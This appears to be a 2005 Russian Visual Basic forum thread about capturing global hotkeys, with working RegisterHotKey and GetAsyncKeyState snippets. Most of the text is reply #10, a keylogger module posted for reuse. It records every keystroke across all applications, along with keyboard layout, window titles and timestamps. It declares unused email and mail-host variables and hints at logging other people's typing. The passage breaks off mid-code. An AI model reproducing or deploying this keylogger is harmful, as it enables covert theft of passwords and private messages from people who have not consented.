Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - Общий форум

Страница: 1 |

 

  Вопрос: HotKey Добавлено: 04.10.05 17:27  

Автор вопроса:  Vit | Web-сайт: www.home-soft.jino-net.ru
Мне нужно перехватывать нажатия клавиш всегда (не зависимо от того с кокой программой работает юзер). Для этого я использую функции: RegisterHotKey, UnregisterHotKey, PeekMessage и WaitMessage. Если регистрирую одно сочетание клавиш, что всё работает, а если два и более, то проблемы. Как затавить PeekMessage не разбирать какое именно событие ему запускать? Если регистрировать на одно и то же hWnd (использую hWnd формы), то выполняются любые (по желанию программы) события, а если разные hWnd, то они иногда вообще не срабатывают. Что делать?

Ответить

  Ответы Всего ответов: 15  

Номер ответа: 1
Автор ответа:
 «UL.eXe»



ICQ: 197.895.916.247 

Вопросов: 72
Ответов: 540
 Профиль | | #1 Добавлено: 04.10.05 20:45
если я тебя правильно понял..

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public macro As String

If (GetAsyncKeyState('кейкод твоей лавиши') = -32768) Then
... твои указания :)
End If

Ответить

Номер ответа: 2
Автор ответа:
 «UL.eXe»



ICQ: 197.895.916.247 

Вопросов: 72
Ответов: 540
 Профиль | | #2 Добавлено: 04.10.05 20:46
If (GetAsyncKeyState('кейкод твоей лавиши') = -32768) Then
... твои указания :)
End If


Ставить в таймер :) с интервалом 9 или 7 :)

Ответить

Номер ответа: 3
Автор ответа:
 Morpheus



Вопросов: 224
Ответов: 3777
 Web-сайт: xury.zx6.ru
 Профиль | | #3
Добавлено: 04.10.05 21:04
У меня на меню что посередине экрана вылетает со списком прог стоит отлов с интервалом 500 мс, и этого хватает (не совсем права, прога реагирует на продолжительное нажатие, что собсно и надо было) а вообще я DOOMаю, что 100 мс пойдёт

Ответить

Номер ответа: 4
Автор ответа:
 Sharp


Лидер форума

ICQ: 216865379 

Вопросов: 106
Ответов: 9979
 Web-сайт: sharpc.livejournal.com
 Профиль | | #4
Добавлено: 04.10.05 21:30
Что-то ты неправильно делаешь, сообщение должно быть всегда одно: WM_HOTKEY. Проверь на всякий случай "id - [in] Specifies the identifier of the hot key. No other hot key in the calling thread should have the same identifier. An application must specify a value in the range 0x0000 through 0xBFFF."

Ответить

Номер ответа: 5
Автор ответа:
 Neco



ICQ: 247906854 

Вопросов: 133
Ответов: 882
 Web-сайт: neco.pisem.net
 Профиль | | #5
Добавлено: 05.10.05 01:04
Я вообще не врублюсь про какие горячие клавиши идёт речь - приведи код, пожалуйста.

Ответить

Номер ответа: 6
Автор ответа:
 CyRax



Разработчик Offline Client

ICQ: 204447456 

Вопросов: 180
Ответов: 4229
 Web-сайт: basicproduction.nm.ru
 Профиль | | #6
Добавлено: 05.10.05 06:50
А как ты делаешь вообще? У меня всё работает. Например так:
Private Sub Form_Activate()
 ret = RegisterHotKey(Form2.hwnd, &HBFFE&, MOD_CONTROL, vbKeyF)
 ret = RegisterHotKey(Me.hwnd, &HBFFF&, 0&, VK_PAUSE)
 bCancel = False
 ProcessMessages
End Sub

Private Sub ProcessMessages()
 Dim Message As Msg
 
 Do While Not bCancel
  WaitMessage
  If PeekMessage(Message, Me.hwnd, WM_HOTKEY, WM_HOTKEY, PM_REMOVE) Then
   MsgBox Message.lParam, , Message.wParam
   WindowState = vbMinimized
  ElseIf PeekMessage(Message, Form2.hwnd, WM_HOTKEY, WM_HOTKEY, PM_REMOVE) Then
   MsgBox "!"
  End If
  DoEvents
 Loop
End Sub

Ответить

Номер ответа: 7
Автор ответа:
 Barsik



Разработчик Offline Client

ICQ: 343368641 

Вопросов: 17
Ответов: 686
 Web-сайт: barsik.newmail.ru
 Профиль | | #7
Добавлено: 05.10.05 09:34
Ставить в таймер :) с интервалом 9 или 7 :)


нда, а почему такая категоричность? ты знешь что в винде прерывание таймера начинается минимум с 50 мс.

Ответить

Номер ответа: 8
Автор ответа:
 Vit



Вопросов: 68
Ответов: 62
 Web-сайт: www.home-soft.jino-net.ru
 Профиль | | #8
Добавлено: 05.10.05 17:13
Для того, чтобы было удобно пользоваться перехватом клавиш, я написал класс с событием, срабатывающим при нажатии зарегистрированной комбинации.

Public Event Action(Index As Integer)
Public Sub ProcessMessages()
    Dim Message As Msg
    Do While m_Activate
        For i = 0 To m_Count - 1
            If m_Registered(i) Then
                WaitMessage
                If PeekMessage(Message, m_hWnd, WM_HOTKEY, WM_HOTKEY, PM_REMOVE) Then
                    RaiseEvent Action(i)
                End If
                DoEvents
            End If
        Next i
    Loop
End Sub


Проблема в том, как сообщить PeekMessage, как именно определять какое именное сочетание клавиш было нажато.

Идея с GetAsyncKeyState является оптимальным решением. Попробую этот вариант.

Ответить

Номер ответа: 9
Автор ответа:
 Victor



ICQ: 345743490 

Вопросов: 42
Ответов: 385
 Web-сайт: vt-dbnz.narod.ru
 Профиль | | #9
Добавлено: 05.10.05 19:48
GetAsyncKeyState
Не знаю, как она, но GetKeyState не прокатывает на Win ME. Ж(
Не чует он нажатия, если фокус ввода не в моем приложении, и все тут...

Ответить

Номер ответа: 10
Автор ответа:
 HACKER


 

Разработчик Offline Client

Вопросов: 236
Ответов: 8362
 Профиль | | #10 Добавлено: 05.10.05 20:47

'===========================================================|
' <МОДУЛЬ СЛЕДЯЩИЙ ЗА НАЖАТЫМИ КЛАВИЩАМИ КЛАВИАТУРЫ,       >|
' <ВСЕ НАЖАТЫЕ КЛАВИЩИ ЗАПИСЫВАЮТСЯ В ПЕРЕМЕННУЮ.          >|
'                                                           |
' = = = = = = = M A D E   B Y   H A C K E R = = = = = =     |
'         icq: 334479038, mail: visualbasic@xaker.ru        |
'===========================================================|

'ОСОБЕННОСТИ:

'  -  Отличает русскую и английскую раскладку
'  -  Не требует установки хука на клаву
'  -  Легко в использовать в своих программах

Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function GetLocaleInfo Lib "kernel32" Alias "GetLocaleInfoA" (ByVal Locale As Long, ByVal LCType As Long, ByVal lpLCData As String, ByVal cchData As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Const LOCALE_SENGLANGUAGE = &H1001
Private Const VK_CAPITAL = &H14
Const Reg As Long = 1
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Const HWND_TOPMOST = -1
Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1
Const flags = SWP_NOMOVE Or SWP_NOSIZE

Dim logfile As String
Dim emailAddress As String
Dim mailHost1 As String
Dim RefArray(1 To 36) As String * 1
Dim nameSerial As String
Dim AllKeyLog As String

Private Function Get_Name_ActiveWindows() As String
'Возвращает имя активного
    Dim MyStr As String
    MyStr = String(GetWindowTextLength(GetForegroundWindow) + 1, Chr$(0))
    GetWindowText GetForegroundWindow, MyStr, Len(MyStr)
    Get_Name_ActiveWindows = MyStr
End Function

Private Function Get_hWND_Window(WindowName$) As Long
'Возвращает хендл по имени
 Dim hwnd
 hwnd = FindWindow(vbNullString, WindowName$)
 Get_hWND_Window = hwnd
End Function

Private Function GetCaption(WindowHandle As Long) As String
'Возвращает имя окна по хенделу
    Dim Buffer As String, TextLength As Long
    TextLength& = GetWindowTextLength(WindowHandle&;)
    Buffer$ = String(TextLength&, 0&;)
    Call GetWindowText(WindowHandle&, Buffer$, TextLength& + 1)
    GetCaption$ = Buffer$
End Function

Private Function GetLanguageInfo(ByVal hwnd As Long) As String
'Возвращает раскладку в указаном окне по hWnd
Dim sReturn As String, nRet As Long
Dim pID As Long, tId As Long, LCID As Long
tId = GetWindowThreadProcessId(hwnd, pID)
LCID = LoWord(GetKeyboardLayout(tId))
sReturn = String$(128, 0)
nRet = GetLocaleInfo(LCID, LOCALE_SENGLANGUAGE, sReturn, Len(sReturn))
If nRet > 0 Then GetLanguageInfo = Left$(sReturn, nRet - 1)
End Function
Private Function LoWord(DWORD As Long) As Integer
If DWORD And &H8000& Then
LoWord = &H8000 Or (DWORD And &H7FFF&;)
Else
LoWord = DWORD And &HFFFF&
End If
End Function

Private Function GetLanguage() As String
'Возвращает раскладку в активном окне
GetLanguage = GetLanguageInfo(Get_hWND_Window(Get_Name_ActiveWindows))
End Function

Private Function CAPSLOCKON() As Boolean
'Возвращает состояние CAPS Lock 'a

Static bInit As Boolean
Static bOn As Boolean
If Not bInit Then
While Getasynckeystate(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If Getasynckeystate(VK_CAPITAL) Then
While Getasynckeystate(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function
Public Function GetKeyLog() As String
'Возвращает весь лог что мы нажимали... (или не мы :) )
GetKeyLog = AllKeyLog
If Len(AllKeyLog) > 100000 Then AllKeyLog = ""
End Function

Public Sub KeyLog()
'Эту подпрограмму нужно вызывать в таймере с минимальным интервалом
'Кейлог будет записан в переменную AllKeyLog

'Тут вообщем долгая муть проверки нажатой кнопки, сравнения с раскладкой клавы, ну и вообще
'формирование лога...

NameWindow$ = GetCaption(GetForegroundWindow)
If Form1.Tag <> NameWindow$ Then
Form1.Tag = NameWindow$
AllKeyLog = AllKeyLog & vbNewLine & "![Время: " & Now & "  Окно:" & NameWindow$ & "]!" & vbNewLine
End If

l$ = GetLanguage



Dim keystate As Long
Dim Shift As Long
Shift = Getasynckeystate(vbKeyShift)
keystate = Getasynckeystate(vbKeyA)

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "A"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Ф"
    End If
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "a"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "ф"
    End If
End If

keystate = Getasynckeystate(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "B"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "И"
    End If
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "b"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "и"
    End If
End If

keystate = Getasynckeystate(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "C"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "С"
    End If
End If

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "c"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "с"
    End If
End If

keystate = Getasynckeystate(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + ";D"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "В"
    End If
End If
DoEvents
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "d"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "в"
    End If
End If
keystate = Getasynckeystate(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "E"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "У"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "e"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "у"
    End If
End If
keystate = Getasynckeystate(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "F"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "А"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "f"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "а"
    End If
End If
keystate = Getasynckeystate(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "G"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "П"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "g"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "п"
    End If
End If
keystate = Getasynckeystate(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "H"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Р"
    End If
End If
DoEvents
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "h"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "р"
    End If
End If
keystate = Getasynckeystate(vbKeyI)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "I"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Ш"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "i"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "ш"
    End If
End If
keystate = Getasynckeystate(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
If l$ = "English" Then
    AllKeyLog = AllKeyLog + "J"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "О"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
If l$ = "English" Then
    AllKeyLog = AllKeyLog + "j"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "о"
    End If
End If
keystate = Getasynckeystate(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "K"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Л"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "k"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "л"
    End If
End If
keystate = Getasynckeystate(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "L"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Д"
    End If
End If
DoEvents
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "l"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "д"
    End If
End If
keystate = Getasynckeystate(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "M"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Ь"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "m"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "ь"
    End If
End If
keystate = Getasynckeystate(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "N"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Т"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "n"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "т"
    End If
End If
keystate = Getasynckeystate(vbKeyO)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "O"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Щ"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "o"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "щ"
    End If
End If
DoEvents
keystate = Getasynckeystate(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "P"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "З"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "p"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "з"
    End If
End If
keystate = Getasynckeystate(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "Q"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Й"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "q"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "й"
    End If
End If
keystate = Getasynckeystate(vbKeyR)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "R"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "К"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "r"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "к"
    End If
End If
keystate = Getasynckeystate(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "S"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Ы"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "s"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "ы"
    End If
End If
keystate = Getasynckeystate(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "T"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Е"
    End If
End If
DoEvents
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "t"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "е"
    End If
End If
keystate = Getasynckeystate(vbKeyU)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "U"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Г"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "u"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "г"
    End If
End If
keystate = Getasynckeystate(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "V"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "М"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "v"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "м"
    End If
End If
keystate = Getasynckeystate(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "W"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Ц"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "w"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "ц"
    End If
End If
keystate = Getasynckeystate(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "X"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Ч"
    End If
End If
DoEvents
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "x"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "ч"
    End If
End If
keystate = Getasynckeystate(vbKeyY)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "Y"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Н"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "y"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "н"
    End If
End If
keystate = Getasynckeystate(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "Z"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Я"
    End If
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "z"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "я"
    End If
End If
keystate = Getasynckeystate(vbKey1)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "1"
      End If
      If Shift <> 0 And (keystate And &H1) = &H1 Then
AllKeyLog = AllKeyLog + "!"
End If
keystate = Getasynckeystate(vbKey2)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "2"
      End If
      If Shift <> 0 And (keystate And &H1) = &H1 Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "@"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + Chr(34)
    End If
End If
DoEvents
keystate = Getasynckeystate(vbKey3)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "3"
      End If
      If Shift <> 0 And (keystate And &H1) = &H1 Then

    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "#"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "№"
    End If

End If
keystate = Getasynckeystate(vbKey4)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "4"
      End If
If Shift <> 0 And (keystate And &H1) = &H1 Then

    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "$"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + ";"
    End If
End If
keystate = Getasynckeystate(vbKey5)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "5"
      End If
            If Shift <> 0 And (keystate And &H1) = &H1 Then
AllKeyLog = AllKeyLog + "%"
End If
keystate = Getasynckeystate(vbKey6)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "6"
      End If
            If Shift <> 0 And (keystate And &H1) = &H1 Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "^"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + ":"
    End If
End If
keystate = Getasynckeystate(vbKey7)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "7"
     End If
          If Shift <> 0 And (keystate And &H1) = &H1 Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "&"
    ElseIf l$ = "Russian" Then
